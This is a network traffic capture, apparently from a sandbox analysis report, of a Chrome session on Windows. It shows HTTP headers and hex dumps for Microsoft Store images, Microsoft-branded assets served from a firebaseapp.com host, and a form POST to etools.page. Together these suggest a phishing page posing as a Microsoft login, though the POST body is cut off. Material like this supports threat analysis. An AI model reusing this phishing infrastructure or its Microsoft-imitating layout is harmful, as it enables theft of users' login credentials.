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2022-05-13 14:40:21 UTC 1315 OUT GET /image/apps.41671.13634052595610511.c45457c9-b4af-46b0-8e61-8d7c0aec3f56.86b1d82d-8b47-4bda-99fc-
8a1db0a7ac9d?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-13 14:40:21 UTC 1315 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 5350
Content-Type: image/png
Last-Modified: Fri, 04 Jun 2021 08:47:13 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkyNzM1NTkzRDcwQUQ"
MS-CV: a3126vjzV0e5osTv.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:40:21 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-13 14:40:21 UTC 1315 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 
00 00 0e c3 01 c7 6f a8 64 00 00 14 7b 49 44 41 54 78 5e ed 9d 09 78 15 d5 dd c6 c9 06 81 00 21 0b 01 12 b2 90 3d 81 0
0 05 51 91 45 64 91 55 10 a4 22 8b 02 22 d6 ad ee 68 f5 43 1f 17 6c 6b eb 57 b7 56 11 fc 5c 70 69 7d c4 16 7d 28 da 16 f
7 52 45 11 a1 ee 15 10 01 b5 52 10 42 36 b2 cd fb bd ff 99 9b 10 d2 03 4c 92 99 7b e7 de 7b de e7 f9 3d 97 84 64 ce 99 f
3 7f 73 ce 99 39 5b 3b 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d ad b0 56 1c c9 23 63 c9 c5 e4 4e 
f2 0c 59 4f 3e 21 df 92 72 52 47 40 ea 49 19 f9 8e 7c 4c e4 e7 9e 
Data Ascii: PNGIHDR0sRGBgAMAapHYsod{IDATx^x!=QEdU""hClkWV\pi}}(RERB6L{{=ds9[;---------------------V#
cNYO>!rRG@I|L

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

4 192.168.2.3 49704 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:39:56 UTC 57 OUT GET /image/apps.18694.9007199266247846.b5c49955-e050-4553-b8e4-0e223ed6c5a1.4e8e78d2-c2c2-4c02-8d8c-
46ac3b2419e7?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-13 14:39:56 UTC 67 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 3667
Content-Type: image/png
Last-Modified: Wed, 04 Mar 2020 18:13:09 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDdDMDY3QjFCNTg1NkE"
MS-CV: RzU3JcDdukKYyaz4.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:39:56 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-13 14:39:56 UTC 67 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
0e 1a 49 44 41 54 78 5e ed 9d 5f 88 24 57 15 c6 cf a9 ee 99 64 66 a3 6e 36 f8 26 91 68 20 28 11 9f 44 25 a8 80 88 40 80 
e0 93 04 7c 11 51 c1 17 ff 83 a8 82 18 41 81 18 50 51 21 82 90 27 41 7c 11 88 08 18 44 21 1a 14 9f 22 c1 b8 06 5f 44 65 
d7 dd c5 75 77 76 67 a6 fb 7e 5a bd b7 f9 e8 7b b8 9c 99 a2 6b a6 ab e6 7c 70 b9 a7 aa 86 ee 9e ee 5f 7f e7 dc 7b ab aa 
15 80 1c 57 a1 50 23 ae 42 a1 00 27 14 e0 84 02 9c 50 80 13 0a 70 42 a1 00 27 14 e0 84 02 9c 50 80 13 0a 70 42 a1 00 
27 14 e0 84 02 9c 50 80 13 0a 70 42 a1 00 27 14 e0 84 02 9c 50 80 13 0a 70 42 a1 00 27 14 e0 84 02 9c 50 80 13 0a 4d 
65 04 52 55 95 01 0a 00 64 a0 52 00 01 46 80 d5 37 38 01 4a 80 44 
Data Ascii: PNGIHDR0IDATx^_$Wdfn6&h (D%@|QAPQ!'A|D!"_Deuwvg~Z{k|p_{WP#B'PpB'PpB'PpB'PpB'PM
eRUdRF78JD

Session ID Source IP Source Port Destination IP
Destination
Port

Process

40 192.168.2.3 49769 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:40:22 UTC 1321 OUT GET /image/apps.39016.9007199266243744.36dde9d0-f21a-47d2-976e-f1ea3f5b031f.bbea1229-a466-4a8c-b428-
57cb58abf084?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-13 14:40:22 UTC 1321 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 9623
Content-Type: image/png
Last-Modified: Thu, 08 Jul 2021 05:18:58 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk0MUNGRTNDQkI1OUE"
MS-CV: 89pDXTII+UStojnP.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:40:22 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-13 14:40:22 UTC 1322 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
00 09 70 48 59 73 00 00 1d 87 00 00 1d 87 01 8f e5 f1 65 00 00 0c a0 49 44 41 54 78 9c ed 9c 7d 8c 5c 55 15 c0 cf bd f7 
7d cc cc ee 74 76 bb 2c c5 16 10 24 28 48 95 26 f2 59 a8 18 23 1f 22 b4 04 8a 95 10 aa 41 a2 11 62 49 44 48 ad 84 06 4c 
e4 43 45 4b 48 30 1a 14 51 54 40 53 d4 aa 01 4d ff 00 a9 81 42 6a 05 5a 11 2b 15 74 a5 db 6e 67 77 67 df 7c bc f7 ee bd 
9e 7b df 6c 31 11 09 dc 9d dd d9 be 3d bf e4 f5 ed cc ce bc 3b 77 e7 d7 73 ce bd ef be e7 01 41 38 e0 75 fb 03 10 07 27 
24 0e e1 04 89 43 38 41 e2 10 4e 90 38 84 13 24 0e e1 04 89 43 38 41 e2 10 4e 90 38 84 13 24 0e e1 04 89 43 38 41 e2 
10 4e 90 38 84 13 24 0e e1 04 89 43 38 41 e2 10 4e 90 38 84 13 
Data Ascii: PNGIHDR0pHYseIDATx}\U}tv,$(H&Y#"AbIDHLCEKH0QT@SMBjZ+tngwg|{l1=;wsA8u'$C8AN8$C8
AN8$C8AN8$C8AN8

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

41 192.168.2.3 49770 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:22 UTC 1321 OUT GET /image/apps.5075.9007199266244427.c75d2ced-a383-40dc-babd-1ad2ceb13c86.f329a73d-1ae8-4445-aa4c-b
f40f3c5d62d?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-13 14:40:22 UTC 1331 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 6001
Content-Type: image/png
Last-Modified: Thu, 10 Jun 2021 02:49:21 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkyQkJBNTkzQjkwQjA"
MS-CV: yq21NaejzkmnbM2s.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:40:22 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-13 14:40:22 UTC 1332 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 
00 00 0e c3 01 c7 6f a8 64 00 00 17 06 49 44 41 54 78 5e ed dd 09 b0 9d 65 7d c7 f1 4e 9d e9 4c db a9 62 20 a0 b6 45 7
1 69 15 15 a1 52 16 2b 8a ad 58 5b 75 da 2a 45 ac a2 16 ad d6 aa 5d 54 46 10 5b b5 56 b1 2e 38 5a a5 b2 24 0a 09 10 
b2 27 6c 49 48 42 58 b2 40 02 09 d9 20 24 64 83 2c 64 e5 dc b3 2f f7 fe fb fc 9e 9b 33 05 3c e0 bd c9 79 df f3 fe df f3 fd cf 
7c e6 86 2c f7 72 96 f7 77 9e e7 79 9f e5 d7 7e ff da 01 03 00 0f 08 2c 00 6e 10 58 00 dc 20 b0 00 b8 41 60 01 70 83 c0 
02 e0 06 81 05 c0 0d 02 0b 80 1b 04 16 00 37 08 2c 00 6e 10 58 
Data Ascii: PNGIHDR,,y}usRGBgAMAapHYsodIDATx^e}NLb EqiR+X[u*E]TF[V.8Z$'lIHBX@ $d,d/3<y|,rwy~,nX A`p7,nX

Session ID Source IP Source Port Destination IP
Destination
Port

Process

42 192.168.2.3 49775 199.36.158.100 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:40:22 UTC 1337 OUT GET /cvnmkyjthrsdgvzx/themes/imgs/microsoft_logo.svg HTTP/1.1
Host: rimorecndappz.firebaseapp.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-13 14:40:22 UTC 1339 IN HTTP/1.1 200 OK
Connection: close
Content-Length: 3651
Cache-Control: max-age=3600
Content-Type: image/svg+xml
Etag: "a88f22478e52f27f6f24668e3ff397bf66ba51e21b2cc2375100de1d281417be"
Last-Modified: Thu, 14 Apr 2022 17:10:06 GMT
Strict-Transport-Security: max-age=31556926; includeSubDomains; preload
Accept-Ranges: bytes
Date: Fri, 13 May 2022 14:40:22 GMT
X-Served-By: cache-fra19125-FRA
X-Cache: HIT
X-Cache-Hits: 1
X-Timer: S1652452823.989715,VS0,VE1
Vary: x-fh-requested-host, accept-encoding

2022-05-13 14:40:22 UTC 1339 IN Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 
76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 
30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 
22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 
39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 
39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 
36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 
Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title>
<path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37
.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0

2022-05-13 14:40:22 UTC 1341 IN Data Raw: 30 2c 30 2c 31 2d 33 2e 36 35 32 2d 31 2e 33 35 32 41 34 2e 39 38 37 2c 34 2e 39 38 37 2c 30 2c 30 2c 31 
2c 36 36 2e 34 30 36 2c 31 33 2e 36 6d 32 2e 34 32 35 2d 2e 30 37 37 61 33 2e 35 33 35 2c 33 2e 35 33 35 2c 30 2c 30 
2c 30 2c 2e 37 2c 32 2e 33 36 38 2c 32 2e 35 30 35 2c 32 2e 35 30 35 2c 30 2c 30 2c 30 2c 32 2e 30 31 31 2e 38 31 38 2
c 32 2e 33 34 35 2c 32 2e 33 34 35 2c 30 2c 30 2c 30 2c 31 2e 39 33 34 2d 2e 38 31 38 2c 33 2e 37 38 33 2c 33 2e 37 38 
33 2c 30 2c 30 2c 30 2c 2e 36 36 34 2d 32 2e 34 32 35 2c 33 2e 36 35 31 2c 33 2e 36 35 31 2c 30 2c 30 2c 30 2d 2e 36 
38 38 2d 32 2e 34 31 31 2c 32 2e 33 38 39 2c 32 2e 33 38 39 2c 30 2c 30 2c 30 2d 31 2e 39 32 39 2d 2e 38 31 33 2c 32 
2e 34 34 2c 32 2e 34 34 2c 30 2c 30 2c 30 2d 31 2e 39 38 38 2e 38 35 32 
Data Ascii: 0,0,1-3.652-1.352A4.987,4.987,0,0,1,66.406,13.6m2.425-.077a3.535,3.535,0,0,0,.7,2.368,2.505,2.505,
0,0,0,2.011.818,2.345,2.345,0,0,0,1.934-.818,3.783,3.783,0,0,0,.664-2.425,3.651,3.651,0,0,0-.688-2.411,2.389,2
.389,0,0,0-1.929-.813,2.44,2.44,0,0,0-1.988.852

2022-05-13 14:40:22 UTC 1342 IN Data Raw: 39 2c 30 2c 30 2c 30 2d 31 2e 39 38 37 2e 38 35 32 2c 33 2e 37 30 37 2c 33 2e 37 30 37 2c 30 2c 30 2c 30 2d 
2e 37 30 37 2c 32 2e 34 33 6d 31 35 2e 34 36 34 2d 33 2e 31 30 39 48 39 39 2e 37 56 31 38 2e 34 48 39 37 2e 33 34 31 
56 31 30 2e 34 31 32 48 39 35 2e 36 38 36 56 38 2e 35 30 37 68 31 2e 36 35 35 56 37 2e 31 33 61 33 2e 34 32 33 2c 33 
2e 34 32 33 2c 30 2c 30 2c 31 2c 31 2e 30 31 35 2d 32 2e 35 35 35 2c 33 2e 35 36 31 2c 33 2e 35 36 31 2c 30 2c 30 2c 3
1 2c 32 2e 36 2d 31 2c 35 2e 38 30 37 2c 35 2e 38 30 37 2c 30 2c 30 2c 31 2c 2e 37 35 31 2e 30 34 33 2c 32 2e 39 39 33 
2c 32 2e 39 39 33 2c 30 2c 30 2c 31 2c 2e 35 37 37 2e 31 33 56 35 2e 37 36 34 61 32 2e 34 32 32 2c 32 2e 34 32 32 2c 
30 2c 30 2c 30 2d 2e 34 2d 2e 31 36 34 2c 32 2e 31 30 37 2c 32 2e 31 
Data Ascii: 9,0,0,0-1.987.852,3.707,3.707,0,0,0-.707,2.43m15.464-3.109H99.7V18.4H97.341V10.412H95.686V8.507h1.
655V7.13a3.423,3.423,0,0,1,1.015-2.555,3.561,3.561,0,0,1,2.6-1,5.807,5.807,0,0,1,.751.043,2.993,2.993,0,0,1,.5
77.13V5.764a2.422,2.422,0,0,0-.4-.164,2.107,2.1

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

43 192.168.2.3 49774 199.36.158.100 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:22 UTC 1338 OUT GET /cvnmkyjthrsdgvzx/themes/imgs/ellipsis_white.svg HTTP/1.1
Host: rimorecndappz.firebaseapp.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
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2022-05-13 14:40:23 UTC 1345 IN HTTP/1.1 200 OK
Connection: close
Content-Length: 915
Cache-Control: max-age=3600
Content-Type: image/svg+xml
Etag: "b1336d85e1a0c89eea2a4969953d0326f0faedd47871ea522033f7f6e513ea57"
Last-Modified: Thu, 14 Apr 2022 17:10:06 GMT
Strict-Transport-Security: max-age=31556926; includeSubDomains; preload
Accept-Ranges: bytes
Date: Fri, 13 May 2022 14:40:23 GMT
X-Served-By: cache-fra19144-FRA
X-Cache: MISS
X-Cache-Hits: 0
X-Timer: S1652452823.001770,VS0,VE180
Vary: x-fh-requested-host, accept-encoding

2022-05-13 14:40:23 UTC 1345 IN Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 
76 67 22 20 77 69 64 74 68 3d 22 31 36 22 20 68 65 69 67 68 74 3d 22 31 36 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 
20 31 36 20 31 36 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 66 69 6c 6c 
3d 22 23 66 66 66 66 66 66 22 20 64 3d 22 4d 31 2e 31 34 33 2c 36 2e 38 35 37 61 31 2e 31 30 37 2c 31 2e 31 30 37 2c 
30 2c 30 2c 31 2c 2e 34 34 36 2e 30 38 39 2c 31 2e 31 36 34 2c 31 2e 31 36 34 2c 30 2c 30 2c 31 2c 2e 36 30 37 2e 36 
30 37 2c 31 2e 31 36 31 2c 31 2e 31 36 31 2c 30 2c 30 2c 31 2c 30 2c 2e 38 39 33 2c 31 2e 31 36 34 2c 31 2e 31 36 34 
2c 30 2c 30 2c 31 2d 2e 36 30 37 2e 36 30 37 2c 31 2e 31 30 37 2c 31 2e 
Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 16 16"><title>assets</title>
<path fill="#ffffff" d="M1.143,6.857a1.107,1.107,0,0,1,.446.089,1.164,1.164,0,0,1,.607.607,1.161,1.161,0,0,1,0,.89
3,1.164,1.164,0,0,1-.607.607,1.107,1.

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

44 192.168.2.3 49776 199.36.158.100 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:22 UTC 1338 OUT GET /cvnmkyjthrsdgvzx/themes/imgs/ellipsis_grey.svg HTTP/1.1
Host: rimorecndappz.firebaseapp.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-13 14:40:23 UTC 1343 IN HTTP/1.1 200 OK
Connection: close
Content-Length: 915
Cache-Control: max-age=3600
Content-Type: image/svg+xml
Etag: "8bd35fb6e43a52fbd3fac4f46b28b8cc71b6f00e2b06636395e54a9c210d997e"
Last-Modified: Thu, 14 Apr 2022 17:10:06 GMT
Strict-Transport-Security: max-age=31556926; includeSubDomains; preload
Accept-Ranges: bytes
Date: Fri, 13 May 2022 14:40:22 GMT
X-Served-By: cache-fra19149-FRA
X-Cache: HIT
X-Cache-Hits: 1
X-Timer: S1652452823.994481,VS0,VE1
Vary: x-fh-requested-host, accept-encoding

2022-05-13 14:40:23 UTC 1343 IN Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 
76 67 22 20 77 69 64 74 68 3d 22 31 36 22 20 68 65 69 67 68 74 3d 22 31 36 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 
20 31 36 20 31 36 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 66 69 6c 6c 
3d 22 23 37 37 37 37 37 37 22 20 64 3d 22 4d 31 2e 31 34 33 2c 36 2e 38 35 37 61 31 2e 31 30 37 2c 31 2e 31 30 37 2c 
30 2c 30 2c 31 2c 2e 34 34 36 2e 30 38 39 2c 31 2e 31 36 34 2c 31 2e 31 36 34 2c 30 2c 30 2c 31 2c 2e 36 30 37 2e 36 
30 37 2c 31 2e 31 36 31 2c 31 2e 31 36 31 2c 30 2c 30 2c 31 2c 30 2c 2e 38 39 33 2c 31 2e 31 36 34 2c 31 2e 31 36 34 
2c 30 2c 30 2c 31 2d 2e 36 30 37 2e 36 30 37 2c 31 2e 31 30 37 2c 31 2e 
Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 16 16"><title>assets</title>
<path fill="#777777" d="M1.143,6.857a1.107,1.107,0,0,1,.446.089,1.164,1.164,0,0,1,.607.607,1.161,1.161,0,0,1,0,.89
3,1.164,1.164,0,0,1-.607.607,1.107,1.

Session ID Source IP Source Port Destination IP
Destination
Port

Process

45 192.168.2.3 49778 188.114.96.10 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:40:23 UTC 1344 OUT OPTIONS /re/Zk5RTCthaVRLSXFCbGMxbGZoc0paWi9GZTNoUUVzekJWUmtmOHVhdmZvQTBoclU1Z0s0OG44SlQ0b3
BxckdWRDNXNzh1V0pIelhnZUtpTVRqdEFNTGc9PQ HTTP/1.1
Host: etools.page
Connection: keep-alive
Accept: */*
Access-Control-Request-Method: POST
Access-Control-Request-Headers: authkey,authvalue
Origin: null
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-13 14:40:23 UTC 1347 IN HTTP/1.1 200 OK
Date: Fri, 13 May 2022 14:40:23 GMT
Content-Type: application/octet-stream
Content-Length: 0
Connection: close
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 2592000
Access-Control-Allow-Methods: GET,PUT,POST, OPTIONS, DELETE,PATCH
Access-Control-Allow-Headers: authkey , authvalue, Authorization, User-Agent, Keep-Alive, Content-Type, X-Requested-
With
CF-Cache-Status: DYNAMIC
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=JtASrdO1J8h814%2F0Ef3TEp3Pmqw1yK
jpcJLMB86AL1rPfIC2xbLVW1jOCEOc5DkuAgNUYlbZCuXAsVkrhngPDjjHDqERM1G6m8QXcSB7ScNvKlg2eKsM6YpI
W1a9YA%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 70ac26208ad79072-FRA
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

46 192.168.2.3 49779 13.107.219.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:23 UTC 1346 OUT GET /ests/2.1/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1
Host: aadcdn.msauth.net
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-13 14:40:23 UTC 1348 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=31536000
Content-Length: 673
Content-Type: image/svg+xml
Content-Encoding: gzip
Content-MD5: DhdidjYrlCeaRJJRG/y9mA==
Last-Modified: Thu, 13 Feb 2020 02:05:12 GMT
ETag: 0x8D7B0292911C366
Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
X-Cache: TCP_HIT
x-ms-request-id: 6bc22da5-001e-0003-4709-664a75000000
x-ms-version: 2009-09-19
x-ms-lease-status: unlocked
x-ms-blob-type: BlockBlob
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control
,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
Access-Control-Allow-Origin: *
X-Azure-Ref-OriginShield: 0/BN9YgAAAACS6YG5xCbtSKCCoF2wz4PBQU1TMDRFREdFMTgxMAAzOWExMmY3ZS0
4OTlmLTQ2Y2YtYTZkMC0yNGJiYmEyN2Q5NTY=
X-Azure-Ref: 0121+YgAAAADYxBYmfozQRY7zIFG7msOiRlJBMjMxMDUwNDE4MDMzADM5YTEyZjdlLTg5OWYtNDZj
Zi1hNmQwLTI0YmJiYTI3ZDk1Ng==
Date: Fri, 13 May 2022 14:40:22 GMT
Connection: close
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2022-05-13 14:40:23 UTC 1349 IN Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 
fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb 
be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 
95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 
65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 
0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b 
cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 
Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq*~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1*#vGal9!9A

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

47 192.168.2.3 49780 188.114.96.10 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:23 UTC 1349 OUT POST /re/Zk5RTCthaVRLSXFCbGMxbGZoc0paWi9GZTNoUUVzekJWUmtmOHVhdmZvQTBoclU1Z0s0OG44SlQ0b3Bxc
kdWRDNXNzh1V0pIelhnZUtpTVRqdEFNTGc9PQ HTTP/1.1
Host: etools.page
Connection: keep-alive
Content-Length: 316
authkey: false
Accept: application/json, text/plain, */*
authvalue: false
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYBmWUjOU4boAXpSV
Origin: null
